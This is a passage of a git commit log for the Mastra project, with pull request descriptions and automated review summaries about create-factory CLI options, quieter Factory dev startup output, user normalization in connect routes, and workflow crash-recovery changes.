<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

## ELI5

The tool that creates new projects had two ways to set a project name.
This change removes the extra one and keeps the plain name argument. It
also fixes setup in the current folder so it works more safely and gives
clear errors for bad paths.

## Overview

This change updates `create-factory` in `mastracode/mastra-factory`. It
removes the `--name` flag and fixes setup in an existing empty
directory. It also improves the project-name prompt.

## Changes

### Removed `--name` option
- `src/index.ts` no longer defines `--name`. The project name comes only
from the optional positional argument.
- The conflict check between the positional name and `--name`, and the
fallback that chose between them, were removed.
- The changeset that documented `--name` was deleted.
- `README.md` now passes the project name positionally in its command
example.

### Setup in an existing empty directory
- `src/utils/clone.ts`:
- `canScaffoldInto(targetPath: string, ignoreEntry?: string)` takes an
optional entry name to skip during the emptiness check. `.DS_Store` is
still ignored.
- `cloneTemplate` stages the clone inside an existing target directory.
For a target that does not exist, it stages beside the target, as
before.
- The post-clone check skips the staging directory when it is inside the
target.
- The error for a target that cannot be scaffolded and the later file
moves are unchanged.
- `src/create.ts`: The project-name prompt catches errors from resolving
or checking the proposed directory. It returns a validation message
instead of letting the error escape:
  - `<name> can't be used as a project directory`
  - `.` when the name is blank
  - The existing rejection for non-empty directories remains.

### Tests
- `src/create.test.ts` adds two tests:
- Scaffolding into the current directory clones to the expected location
and leaves no `.create-factory-*` entries.
  - A project name whose parent path does not exist is rejected.

### Documentation
- `.changeset/create-factory-current-directory.md` (+6/-1) documents:
- Running without a project name in an empty current directory. The name
prompt defaults to the directory name.
  - Entering a different name creates a new directory.
  - Using an existing empty directory as the project name.
- The previous statements that `.` or `--name ""` select the current
directory were removed.
- `README.md` no longer documents `.` as an alternative. It states that
the prompt defaults to the current directory name.

## Scope

- 7 files changed, with 33 lines added and 21 removed.
- `--org`, `--region`, and `--no-platform` are unchanged.
- No exported declarations changed, except the optional `ignoreEntry`
parameter added to `canScaffoldInto`.

## Verification

- Reported by the author, not verified in this summary: `pnpm check`,
`pnpm lint`, and `pnpm test` pass in `mastracode/mastra-factory` (62
tests).
- Reported by the author, not verified in this summary: built CLI checks
show the following:
  - `--help` no longer lists `--name`.
  - `create-factory a --name b` exits with `unknown option '--name'`.
- `create-factory . --no-platform` sets up in an empty directory using
that directory's name.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 19:04:01 +00:00
Daniel Lew
7fd6830a26
fix(core): carry request context to a wake started by a claimed owner on another server (#29447)
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 13:55:18 -05:00
mastra-platform[bot]
558b8b997c
Simplify mastra factory dev startup output (#30344)
> Opened by @DSchau

## What

The first `mastra factory dev` boot of a hello-world Factory printed
about 20 lines before the ready banner: 8 `[factory:timing]` phase
lines, 3 "Platform X integration initialized" lines with JSON, and 6
poller/reconcile "started" lines. Together they read as if every
integration was loading, even with nothing connected.

Under `mastra factory dev`, startup now looks like this:

```
◇ Starting Mastra dev server...

 mastra  1.39.0 ready in 24050 ms

│ Factory UI: http://localhost:4111
│ API:        http://localhost:4111/api
│ Deploy:     mastra deploy

◯ watching for file changes...
◇ Intake: GitHub connected · Jira, Linear, GitLab, incident.io available
```

## Changes

- **Boot timing**: `timedPhase` and the `boot` total are off when
`MASTRA_FACTORY_DEV=true`, unless `FACTORY_TIMING` or the new
`MASTRA_FACTORY_DEBUG` is set. Deployed Factories still log them by
default.
- **Intake summary**: integrations get an optional
`hasActiveConnections()`. Jira, GitLab and incident.io already had one.
GitHub now checks for usable installations and Linear for connected
workspaces. After finalize, factory dev prints a single
connected/available line labelled "Intake" to match the Factory UI. The
checks run in parallel and don't block boot, and a failed check shows as
"status unknown".
- **Init logs**: the "integration initialized" lines go through
`logPlatformBootInfo`, which only prints when boot diagnostics are on.
- **Worker logs**: the five poller/reconcile "started" logs moved from
info to debug.
- **CLI**:
- `mastra factory dev --debug` passes `MASTRA_FACTORY_DEBUG=true` to the
server, which brings back the timings and init details.
- In factory mode the banner labels the root URL "Factory UI" instead of
"Studio".

## Caveat

The worker "started" logs go through the project's Mastra logger, which
is INFO by default in dev. `--debug` doesn't change that logger's level,
so those lines only come back if the project configures a debug-level
logger.

## Test plan

- [x] `timing.test.ts` checks that boot timing is on by default, quiet
under factory dev, and back on with debug
- [x] `startup-summary.test.ts` covers four cases: connected/available,
none connected, failed check and no checkable integrations
- [x] `dev.test.ts` checks that `MASTRA_FACTORY_DEBUG` is set only with
`--debug`
- [x] `dev-logger.test.ts` checks the Factory UI banner and that the
Studio banner is unchanged
- [x] Factory platform/worker/sandbox suites: 462 passed
- [x] `tsc --noEmit` passes for factory and cli


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** When you start a local Factory project, the terminal used to
print many timing and setup messages. Those messages made it look like
integrations were connected when they were not. Now the terminal shows
only a short list of which integrations are connected. Detailed messages
appear when you turn on debug mode.

## Overview

This change reduces startup output for local `mastra factory dev`.
Deployed Factories still log boot timing. The change also adds one
integration connection summary at startup. The factory-mode banner now
labels the root URL "Factory UI" instead of "Studio."

## Changes by area

**Boot diagnostics gating**
- `mastracode/factory/src/timing.ts` adds `bootDiagnosticsEnabled`.
Diagnostics are enabled when any of these is true:
  - `FACTORY_TIMING` is `1`, `true`, or `yes`.
  - `MASTRA_FACTORY_DEV` is not `true`. This is the deployed case.
  - `MASTRA_FACTORY_DEBUG` is `1` or `true`.
- `timedPhase` runs its callback without logging when diagnostics are
disabled. The function signature is unchanged.
- `mastracode/factory/src/factory.ts` logs boot timing in `finalize()`
only when diagnostics are enabled and a start time exists.
- `mastracode/factory/src/integrations/github/sandbox.ts` gates
command-attempt timing on diagnostics in addition to the existing phase
check.

**Log level changes**
- The worker "started" messages move from info to debug in:
  - `github/reconcile-worker.ts`
  - `issue-reconcile-worker.ts`
  - `platform/github/event-worker.ts`
  - `platform/gitlab/event-worker.ts`
  - `platform/linear/event-worker.ts`
- These messages appear only when the project logger runs at debug
level. The `--debug` flag does not change the logger level.

**Platform boot logging**
- `platform/api-client.ts` adds `logPlatformBootInfo`. It writes an
info-level log only when diagnostics are enabled.
- The GitHub, Jira, and Linear platform integrations use
`logPlatformBootInfo` for initialization messages.

**Connection checks and integration summary**
- `integrations/base.ts` adds an optional `hasActiveConnections():
Promise<boolean>` to `FactoryIntegration`.
- `platform/github/integration.ts` implements `hasActiveConnections()`.
It returns `true` when at least one installation is usable and not
suspended.
- `platform/linear/integration.ts` implements `hasActiveConnections()`.
It returns `true` when at least one connected Linear workspace is
listed.
- Jira, GitLab, and incident.io already had connection checks. This
change does not modify them.
- `integrations/startup-summary.ts` is new. It adds:
- `describeIntegrations()`. It checks only integrations with
`hasActiveConnections`, runs the checks concurrently, and sorts each
result into connected, available, or status unknown. A check that throws
is reported as status unknown. It returns `undefined` when no
integration can report connections.
- `logIntegrationSummary()`. It logs the summary only when
`describeIntegrations()` returns a value.
- `factory.ts` calls `logIntegrationSummary` in `finalize()` only when
`MASTRA_FACTORY_DEV` is `true`.
- A follow-up commit renames the summary label to "Intake" to match
Factory UI terms.

**CLI**
- `packages/cli/src/commands/dev/dev.ts` adds `debug` to `StartOptions`.
When both `factory` and `debug` are set, the child server receives
`MASTRA_FACTORY_DEBUG=true`. The ready logger also receives the
`factory` flag.
- `packages/cli/src/utils/dev-logger.ts` adds an optional `factory`
parameter to `DevLogger.ready`. In factory mode, the root URL is labeled
"Factory UI:" and the Studio entry is omitted. The API and Deploy
entries remain. Rows align to the widest label.

**Changeset**
- `.changeset/quiet-factory-boot.md` adds patch releases for
`@mastra/factory` and `mastra`. It describes the new startup output and
the `--debug` behavior.

## Tests

The new or updated tests cover:
- `timing.test.ts`: default, factory-dev, and debug timing behavior.
- `startup-summary.test.ts`: four connection-summary cases. These are
connected and available providers, no connected provider, a failed check
reported as unknown, and no report when no integration can report
connections.
- `dev.test.ts`: `MASTRA_FACTORY_DEBUG` behavior in factory mode.
- `dev-logger.test.ts`: Factory UI and Studio banners.

The author reports these results. This summary does not verify them:
- Factory platform, worker, and sandbox suites: 462 passed.
- `tsc --noEmit` passes for factory and CLI.

## Scope

21 files changed. 232 lines added and 19 removed.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 18:48:05 +00:00
mastra-platform[bot]
70f3eba5ec
docs: fix inaccurate examples and defaults across workflows, processors, Studio, workers, sandbox, observability, channels and Next.js guide (#30331) 2026-11-13 11:38:15 -07:00
mastra-platform[bot]
4338b55466
feat(create-factory): default to the current directory when it is empty (#30343)
> Opened by @DSchau

## Summary
Running `create-factory` inside an empty directory you just made (`mkdir
my-great-mastra-project && cd my-great-mastra-project && npm create
factory`) used to make you type a name, and it always created a new
subdirectory. The current directory could not be used: a blank name or
`.` failed with "Directory … already exists".

- **No name given:** the prompt defaults to the current directory when
it is empty. It shows the directory name as the placeholder, and
pressing Enter sets up the project there. Typing a name still creates a
new directory. If the current directory isn't empty, a name is required,
as before.
- **Name given** (`create-factory my-great-mastra-project` or `--name`):
no prompt, unchanged.
- **`.` or a blank name** (`--name ""`): sets up the project in the
current directory without prompting.
- An existing **empty** directory is now a valid target. Non-empty
directories are still rejected.
- Template files are moved into the existing directory rather than
replacing it, so the user's shell is not left in a deleted working
directory. The package name and platform project name come from the
directory name.
- The `cd <dir>` next step is left out when the project is in the
current directory.

## Test plan
- [x] `pnpm check`, `pnpm lint`, `pnpm test` (62 passed) in
`mastracode/mastra-factory`. New tests cover: a blank name scaffolds
into the current directory and keeps the same directory inode; the
prompt defaults to an empty current directory; a non-empty current
directory requires a name; an existing empty target directory works.
- [x] Built CLI: `create-factory --name "" --no-platform` in an empty
`my-great-mastra-project/` scaffolded in place (same inode, package name
`my-great-mastra-project`, no `cd` step). Running `create-factory .`
again in that now non-empty directory exits with "already exists and
isn't empty".

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** Before, `create-factory` always made a new folder for your
project. Now it can set up the project in the folder you are already in,
if that folder is empty.

## Summary

This change lets `create-factory` scaffold a project into the current
directory.

### Behavior changes

- **No name given:** The prompt defaults to the current directory name
when that directory is empty. Pressing Enter scaffolds there. Typing a
name creates a new directory.
- **Non-empty current directory:** A name is required. A blank name is
rejected.
- **`.` or `--name ""`:** Scaffolds into the current directory without a
prompt.
- **Name or `--name` given:** The prompt is skipped.
- **Existing empty directory:** Accepted as a valid target.
- **Existing non-empty directory:** Rejected with an error that says the
directory is not empty.
- **Next steps output:** The `cd <dir>` step is omitted when scaffolding
in the current directory. The dependency-install retry command also
omits it.
- **Project names:** The package name and platform project name come
from the directory name.

### Code changes

- `mastracode/mastra-factory/src/utils/clone.ts`: Adds
`canScaffoldInto(targetPath: string): boolean`. It accepts a missing
path or a directory that contains only `.DS_Store` entries. It returns
`false` for other existing paths. It rethrows filesystem errors other
than `ENOENT`. `cloneTemplate` calls this check before cloning and
before installation. When the target exists, template entries are moved
into it. Otherwise, the cloned directory is renamed into place.
- `mastracode/mastra-factory/src/create.ts`: Uses the current directory
for a blank name when it is empty. Validates the resolved target with
`canScaffoldInto`. Omits the `cd` step for in-place scaffolding.
- `mastracode/mastra-factory/src/index.ts`: Passes the `--name` value or
positional name through without trimming or empty-value rejection.
`--name` takes precedence.
- `mastracode/mastra-factory/src/create.test.ts`: Updates the
existing-directory test to expect a non-empty directory error. Adds
tests for:
  - scaffolding into an empty existing directory
  - scaffolding in the current directory with a blank name
  - using the current directory name as the prompt default
  - requiring a name when the current directory is not empty
  - preserving the existing directory
  - matching the package name to the chosen or default name
  - omitting the `cd` hint for in-place scaffolding
- `mastracode/mastra-factory/README.md`: Documents in-place setup in the
Usage section.
- `.changeset/create-factory-current-directory.md`: Adds a patch
changeset for `create-factory`.

### Verification

- The PR author reports that `pnpm check`, `pnpm lint`, and `pnpm test`
pass in `mastracode/mastra-factory` (62 tests). These results come from
the PR description. They were not confirmed from completed checks on
this head.
- The author reports a built-CLI check. Running `create-factory --name
"" --no-platform` scaffolds into the current directory. A later
`create-factory .` in that now non-empty directory exits with "already
exists and isn't empty." This is also author-reported.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 18:34:38 +00:00
arctic-char
62161a0906
fix(connect): pass the normalized MastraUser to userConnectRoutes' resourceId (#30340)
The `resourceId` callback on `userConnectRoutes()` got the raw provider
user typed as `unknown`, so you had to cast it to read the ID. Agent
callbacks like `tools` get a normalized `MastraUser` since #28612, so
the two could also disagree on the ID.

The callback now gets the same `MastraUser` (via `getRequestUser`), so
routes and tools can use the same expression:

```typescript
// Before
userConnectRoutes({ resourceId: ({ user }) => (user as { id: string } | undefined)?.id })

// After
userConnectRoutes({ resourceId: ({ user }) => user?.id })
tools: ({ user }) => tools({ resourceId: user?.id })
```

`user` is now the normalized user rather than the raw auth object;
provider-specific fields are still on `requestContext.get('user')`. The
identity test in `user-connect-routes.test.ts` now stores differing raw
and normalized users and reads `user?.id` without a cast. It fails on
the old code and passes here (38/38), with `tsc --noEmit` and lint
clean.

The end-user connections docs in #27334 use this pattern, so this should
land first.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** A login system gives the app a user. This change makes one
route setting receive a cleaned-up version of that user, so the route
and the agent tools both find the same user ID in the same way.

## Overview

This PR changes `userConnectRoutes()` so that its `resourceId` callback
receives the normalized `MastraUser`. The callback previously received
the raw provider user, typed as `unknown`. The callback now gets the
same user that agent `tools` callbacks get.

## Changes

- `packages/connect/src/user-connect-routes.ts`:
- `UserConnectIdentityContext` changes from `requestContext?: { get(key:
string): unknown }; user?: unknown` to `requestContext?: RequestContext;
user?: MastraUser`.
- The optional `resourceId` callback receives the normalized user from
`getRequestUser(requestContext)`. It no longer reads `user` directly
from the context.
- `packages/connect/src/__tests__/user-connect-routes.test.ts`:
- The test context uses `RequestContext` with separate raw and
normalized user entries. The normalized user is typed as `MastraUser`.
- The resource-ID test derives the key from the normalized user. It
still checks that the resulting resource ID is sent to the platform.
- `.changeset/cuddly-symbols-laugh.md`: Adds a patch changeset. It
states that the `resourceId` callback now receives a typed `MastraUser`.
Provider-specific fields remain available through
`requestContext.get('user')`.

## Impact

- Callers that read `user` in `resourceId` must use the normalized
`MastraUser` shape. They can read `user?.id` without a cast.
- Provider-specific fields are not on the callback user. Callers read
them through `requestContext.get('user')`.

## Verification

- The author reports that the identity test fails on the old code and
passes with the change (38/38).
- The author reports that `tsc --noEmit` and lint are clean.
- These results were not rerun for this summary.

## Related work

The author notes that the end-user connections docs in `#27334` use this
pattern. The author asks that this change land first.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 13:25:22 -05:00
mastra-platform[bot]
aaf9f39480
feat(create-factory): add --name flag for the project name (#30338)
> Opened by @DSchau

## Summary
`create-factory` asked for the project name either as a positional
argument or through an interactive prompt. This adds a `--name <name>`
flag, so every installer input now has a flag: `--name`, `--org`,
`--region`, and `--no-platform`. Agents and scripts can run the
installer without answering prompts.

- `--name` does the same thing as the positional `[project-name]`.
- If both are given with different values, the command exits with an
error.
- The README documents the all-flags form.

## Test plan
- [x] `pnpm check`, `pnpm lint`, `pnpm test` (58 passed) in
`mastracode/mastra-factory`
- [x] `--help` lists `--name`
- [x] `create-factory a --name b` exits 1 with a conflict error
- [x] `create-factory --name flagtest --no-platform` scaffolds
`flagtest/` without a name prompt

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: The change lets users give the project name as a flag, `--name`,
so the setup tool can run without asking for a name. If the user gives
two different names, or a blank name, the tool stops with an error.

## Summary

This PR adds a `--name <name>` option to `create-factory`. The option
works with the existing positional `[project-name]` argument. If both
are given and differ, the command exits with a conflict error. If the
selected name is blank after trimming, the command exits with an error.
Otherwise, the trimmed name is used as the project name.

## Changes

- **`mastracode/mastra-factory/src/index.ts`**
- Adds a `name` field to `CreateArgs` and registers the `--name <name>`
option.
  - Renames the action's first parameter to `positionalName`.
- If `positionalName` and `args.name` are both set and differ, calls
`program.error` with a conflict message.
  - Sets `projectNameArg` to `(args.name ?? positionalName)?.trim()`.
- If `projectNameArg` is an empty string, calls `program.error` with
`Project name can't be empty`. This prevents scaffolding into the
current directory.
- **`mastracode/mastra-factory/README.md`**: Adds a Usage paragraph that
says all input can be passed as command-line arguments. It includes one
example: `npx create-factory@latest --name acme-factory --org my-org
--region eu`.
- **`.changeset/create-factory-name-flag.md`**: Adds a patch changeset
for `create-factory`. It describes the `--name` flag and the error for
two different names.

## Scope

The diff changes 3 files with 21 lines added and 1 line removed. No
exported or public declarations change.

## Testing

The PR author reports that `pnpm check`, `pnpm lint`, and `pnpm test`
passed (58 tests) in `mastracode/mastra-factory`. The author also
reports that `--help` lists `--name`, that `create-factory a --name b`
exits with a conflict error, and that `create-factory --name flagtest
--no-platform` scaffolds `flagtest/` without a name prompt. These
results come from the PR description. They were not re-run for this
summary.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 18:14:46 +00:00
Arthur Fiorette
99ec3bd582
fix(core): leave evented workflow runs to a redelivering broker and restart only stopped runs (#30279)
## Description

This PR stops `restartAllActiveWorkflowRuns()` from restarting evented
runs that a redelivering broker (Redis Streams, Valkey Streams, Google
Cloud Pub/Sub) already recovers. It also restarts a default-engine run
only once no instance holds its run lease and a grace period (2 s by
default) has passed. Before, every booting instance restarted every
active evented run, so a step interrupted by a crash ran once per
booting pod (#28712). The broker already recovers those runs: Redis and
Valkey Streams reclaim an unacked message once it has been idle for
`reclaimIdleMs`, and Google Cloud Pub/Sub redelivers once the ack
deadline passes.

### Evented runs on a broker

`PubSub` gets a `redeliversUnacked` getter (default `false`). Redis and
Valkey Streams return `true` while the reclaim loop runs
(`reclaimIntervalMs > 0`), Google Cloud Pub/Sub returns `true`,
`CachingPubSub` forwards to its inner pubsub, and the in-process
`EventEmitterPubSub` and the Unix socket pubsub return `false`. When the
pubsub (read through `__rawBus()`) redelivers, recovery never lists,
reads or restarts an evented run. An evented workflow without
declarative schedules costs no listing at all. Evented runs on any other
pubsub (`EventEmitterPubSub`, Unix socket, or a third-party pubsub that
doesn't override the getter) are restarted at once by the explicit call,
as before.

### Scheduled runs

The `mastra.pubsub` proxy publishes every workflow event of a scheduled
run (`sched_wf_*`, plus the notification dispatcher's row) `localOnly`,
so the broker never holds it. Recovery still restarts those runs: an
evented workflow with declarative schedules gets one summary listing per
status, and only its process-local scheduled runs are kept. The proxy
and recovery share one predicate, `isProcessLocalScheduledRunId`.

### Default engine

One recovery rule: a `running` or `waiting` run is restarted when its
run lease isn't live and `recovery.workflowGraceMs` (new, 2,000 ms by
default for every pubsub) has passed since the later of the lease's last
expiry and the run's last write. The pass lists summaries
(`listWorkflowRuns({ status, perPage: false, summary: true })` per
status), reads leases in batches of 100 with `getRunOwnerships`,
re-reads a run's lease once its restart gets a slot, and runs every
restart on one instance-wide limiter (`recovery.workflowConcurrency`). A
run left live or in its grace period gets a per-run recheck timer, as on
main. Overlapping calls share one pass. `shutdown()` waits, within
`drainTimeout`, for a pass still reading the store and for the restarts
it handed out. Without run fencing every active run is restarted, as
before.

### Nested resume

A default-engine nested run resumed directly now holds its parent's run
lease while it runs and hands it to the parent's resume, so recovery
doesn't restart the parent meanwhile. On a store without
compare-and-set, where the parent stays `suspended`, the nested run
holds its own lease instead.

Also: `renewWorkflowLease` waits for each renewal to settle before
arming the next one (a self-rearming `setTimeout` instead of
`setInterval`), and `EventEmitterPubSub`'s JSDoc and the docs say it's
in-process only.

### Repro

Postgres + Valkey Streams with default reclaim settings (`reclaimIdleMs`
60 s, `reclaimIntervalMs` 30 s). Instance A starts a run whose step
records an execution and then hangs; A is killed with `SIGKILL`
mid-step. Then 2 or 4 fresh instances boot and all call
`restartAllActiveWorkflowRuns()` at once. "At boot" counts step
executions caused by those calls; "total" counts every execution after
the kill until the run succeeds; "rerun after" is seconds from the kill
to the first new execution. 3 trials per row, identical results within
each row except for timing.

| Build | Engine | Booting pods | Executions at boot | Executions total
| Rerun after |
|---|---|---|---|---|---|
| Base (this PR's base branch) | evented | 2 | 2 | 2 | 0.1 s |
| Base | evented | 4 | 4 | 4 | 0.1 s |
| Base | default | 2 | 0 | 1 | 15.1 to 16.6 s |
| Base | default | 4 | 0 | 1 | 15.0 to 16.9 s |
| This PR | evented | 2 | 0 | 1 | 60.1 to 60.2 s |
| This PR | evented | 4 | 0 | 1 | 60.1 to 60.2 s |
| This PR | default | 2 | 0 | 1 | 17.0 to 19.1 s |
| This PR | default | 4 | 0 | 1 | 17.2 to 21.0 s |

On this PR the evented rerun is the broker's reclaim: one execution on
one pod, about 60 s after the kill. The default-engine rerun comes once
A's lease (15 s TTL) lapsed plus the 2 s grace and up to 5 s of recheck
jitter.

### Benchmark

3,000 active default-engine runs that another instance holds, among
30,000 finished runs, two workflows. "Before" is a copy of main's sweep
run in the same process (full listing, then `createRun()` + `restart()`
per run, 5 at a time); "after" is `restartAllActiveWorkflowRuns()` on
this PR. Median of 5 calls.

| Store | Before | After | Listing payload before | Listing payload
after |
|---|---|---|---|---|
| Postgres | 1,773 ms | 30 ms | 1.12 MB | 0.60 MB |
| LibSQL | 627 ms | 44 ms | 1.12 MB | 0.60 MB |

The benchmark's snapshots are nearly empty, so the payload gap here is
small; with real step results it grows with snapshot size.

### Known limits

On a redelivering broker these evented runs stay `running` until someone
calls `restart()` on them. Main's boot restart recovered them; stack 2
takes them over.

- A sleeping evented run whose instance exits, after a crash or during a
normal deploy. The sleep acks its delivery and keeps a `setTimeout` in
the process that started it, so any exit of that process loses the
timer.
- A step whose message Redis or Valkey Streams trimmed. Both trim with
`MAXLEN ~ maxStreamLength` (10,000 by default), which also drops entries
that are still pending. A step that is in flight while that many newer
events are published loses its message if its instance then exits.
Deployments with long steps and a high event volume should raise
`maxStreamLength`.
- A message the broker dropped after `maxDeliveryAttempts` or at
`inFlightTimeoutMs`.
- A failure publish that gave up after its retries (the worker acks the
message).
- A run whose `running` snapshot was saved but whose start event never
reached the broker, because its process stopped between the two.
- A Redis or Valkey instance that restarted without persistence.
- A scheduled evented run that was in flight when a deploy stopped its
process and removed the workflow's schedule from code. Recovery doesn't
list it, so it stays `running` until `restart()`.

#28712 is fixed for evented runs on a redelivering broker. These are
still restarted by every booting instance, as before:

- scheduled evented runs (`sched_wf_*`), whose events never leave their
process
- evented runs on the in-process `EventEmitterPubSub` or the Unix socket
pubsub. Several instances sharing one storage with these pubsubs aren't
supported for evented workflows; the docs now say a multi-instance
evented deployment needs a broker.

With Redis or Valkey Streams, `reclaimIdleMs` must stay at 30 s or more:
a message reclaimed while the dead worker's 30 s step fence is still
held is dropped as a duplicate. The getter's JSDoc, the adapter docs and
the changeset state it.

Rolling deploys are out of scope.

Stack 3 of 4: storage projections and batch ownership reads, then the
finished-step check, then this PR, then the recovery loop with a leader.

## Related issue(s)

Fixes #28712

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [x] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [x] Documentation update
- [ ] Code refactoring
- [x] Performance improvement
- [x] Test update

## Checklist

- [x] I have linked the related issue(s) in the description above
- [x] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

ELI5: When a server crashes in the middle of a workflow, Mastra can
restart that workflow. Before this change, some workflows ran their
steps again on every new server that started, so a step could run many
times. This change lets the message broker handle the restart for those
workflows, so each step runs only once. Other workflows now wait for a
short grace period before they restart.

## Summary

This pull request changes how workflow recovery restarts runs after a
crash or a boot. It targets duplicate step execution in two cases:

- **Evented runs on brokers that redeliver unacknowledged messages.**
Recovery skips these runs. The broker redelivers the unacknowledged step
events instead.
- **Default-engine runs.** Recovery restarts a run only after no live
lease remains and a grace period has passed.

### Behavior changes

- Google Cloud Pub/Sub, Redis Streams, and Valkey Streams report
`redeliversUnacked` as `true` when their reclaim or redelivery path is
active. Redis Streams and Valkey Streams report `true` only when
`reclaimIntervalMs` is above 0.
- `PubSub` adds a `redeliversUnacked` getter that defaults to `false`.
`CachingPubSub`, `EventEmitterPubSub`, and `UnixSocketPubSub` expose or
declare this capability.
- Recovery leaves evented runs to the broker when `redeliversUnacked` is
`true`. Scheduled evented runs restart on boot. Other evented runs
restart immediately when the broker does not redeliver.
- Default-engine recovery applies `recovery.workflowGraceMs`. The
default is 2,000 ms. Negative or non-finite values use the default. A
run restarts only after its lease is no longer live and the grace period
has elapsed since the later of its last update and lease expiry. Runs
that are not yet eligible are checked again later. If the storage
adapter does not support run fencing, active runs restart without the
grace rule.
- Recovery lists active run summaries, reads ownership in batches, and
rechecks ownership before each restart.
- Restarts use a shared concurrency limiter
(`createConcurrencyLimiter`). A restarted run holds its slot until it
finishes.
- Overlapping recovery passes are deduplicated. Shutdown waits for an
in-flight pass.
- Recovery skips nested runs whose active parent drives them.
- Lease renewal runs sequentially (`renewWorkflowLease`,
`repeatAfterSettled`). A new renewal starts only after the previous one
settles.
- Nested resume coordinates parent and child leases. A failed lease
claim rejects the resume and leaves the runs suspended.
- Run-claim operations return whether a status transition occurred. They
return `false` when storage is absent, running snapshots are not
persisted, or compare-and-set is not supported.

### Public API changes

- `MastraRecoveryConfig.workflowGraceMs?: number` (default 2,000 ms).
- `PubSub.redeliversUnacked` getter (default `false`).
- `redeliversUnacked` getters on `GoogleCloudPubSub`,
`RedisStreamsPubSub`, `ValkeyStreamsPubSub`, and `UnixSocketPubSub`.
- `ConcurrencyLimiter` interface and `createConcurrencyLimiter(limit)`
function in `run-with-concurrency.ts`.
- `renewWorkflowLease`, `repeatAfterSettled`, and
`WORKFLOW_RUN_LEASE_RENEW_INTERVAL_MS` in `run-ownership.ts`.
- `Run._resume(params)` accepts an optional `takeHeldOwnership`
callback.

### Documentation

- Crash-recovery and worker docs describe broker reassignment and
multi-instance limits.
- `EventEmitterPubSub` documents that delivery is process-local.
- Redis Streams and Valkey Streams docs recommend `reclaimIdleMs` of at
least 30 seconds. Reclaiming earlier can cause duplicate-dropped step
events.
- The recovery reference documents `workflowGraceMs`.

### Tests and test utilities

- New recovery tests cover exit cases (crash and shutdown), recovery
reads, rules, ownership during nested resumes, and lease renewal.
- Shared test helpers add `sharedBroker`, `killableProcess`,
`interceptStarts`, `persistActiveRun`, and `describeRecoveryExitCases`.
- Existing tests set `workflowGraceMs: 0` where they need immediate
recovery.
- Redis Streams and Valkey Streams tests check `redeliversUnacked`
against `reclaimIntervalMs`.
- LibSQL and Postgres recovery-pass suites run the shared exit cases.

### Scope and limits

- The change addresses issue `#28712` for evented runs on redelivering
brokers. Evented runs on in-process or Unix socket pubsubs still restart
at boot. The PR states that multi-instance evented deployments need a
broker.
- The PR lists unrecovered cases: sleeping evented runs, trimmed or
dropped messages, failed publishes, missing start events, non-persistent
Redis or Valkey restarts, and scheduled runs whose schedules were
removed. Rolling deploys are out of scope.
- Reported benchmark results (median recovery time on 3,000 active and
30,000 finished runs: 1,773 ms to 30 ms on Postgres, 627 ms to 44 ms on
LibSQL) and repro results are author-reported. They were not
independently verified.
- CI and test results: not available.
- Review findings and severity counts: not available.

### Size

- 41 files changed, 2,594 lines added, 209 lines removed (from the pull
request diff).

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-13 14:59:00 -03:00
mastra-platform[bot]
95c9fa97f1
fix(docs): fail pnpm check when Vale is missing (#30334) 2026-11-13 10:42:46 -07:00
Arthur Fiorette
a86a47c7ef
fix(core): don't rerun evented steps that already finished (#30275)
## Description

With this PR the evented processor reads the stored run before it runs a
leaf step:

- The step finished and the run went on without it: the delivery is
dropped.
- The step saved its result but nothing took the run past it (the worker
stopped between the save and the next step's message): the run continues
from the saved result without running the step.
- Otherwise the step runs as before.

A `workflow.step.run` message can reach a worker after its step already
finished: a broker redelivers a message whose ack was lost, a message
waits in a queue while `restart()` runs the step, or a restart reads the
run just before the step saves its result. Before this PR the worker ran
the step again and then every step after it.

The decision is a pure function in
`workflow-event-processor/finished-occurrence.ts`. It compares the
stored record with the one the delivery carried, so a step ID used twice
in one workflow still runs at both places. It handles loop iterations,
foreach items, parallel and conditional branches, and nested workflows.
A resume of the step and time travel skip the check and run the step
again on purpose. On stores with workflow step guards (Postgres),
records the guards stamped are left to the guards. The check reuses the
snapshot `#dispatch` already loads for the delivery, so a leaf delivery
still reads the run twice (dispatch and `runLeafStep`'s suspension
check), as on `main`.

The same check runs on an exhausted delivery. A late `workflow.step.run`
of a finished step used to fail the run once it used up its delivery
attempts. It is now dropped, or continues the run when the run still has
to continue from it.

**When the check runs**

The workflows store supports run fencing, the workflow keeps
`autoRestartActiveRuns` (durable agent workflows opt out, so they are
unchanged), it is not a processor workflow, and its
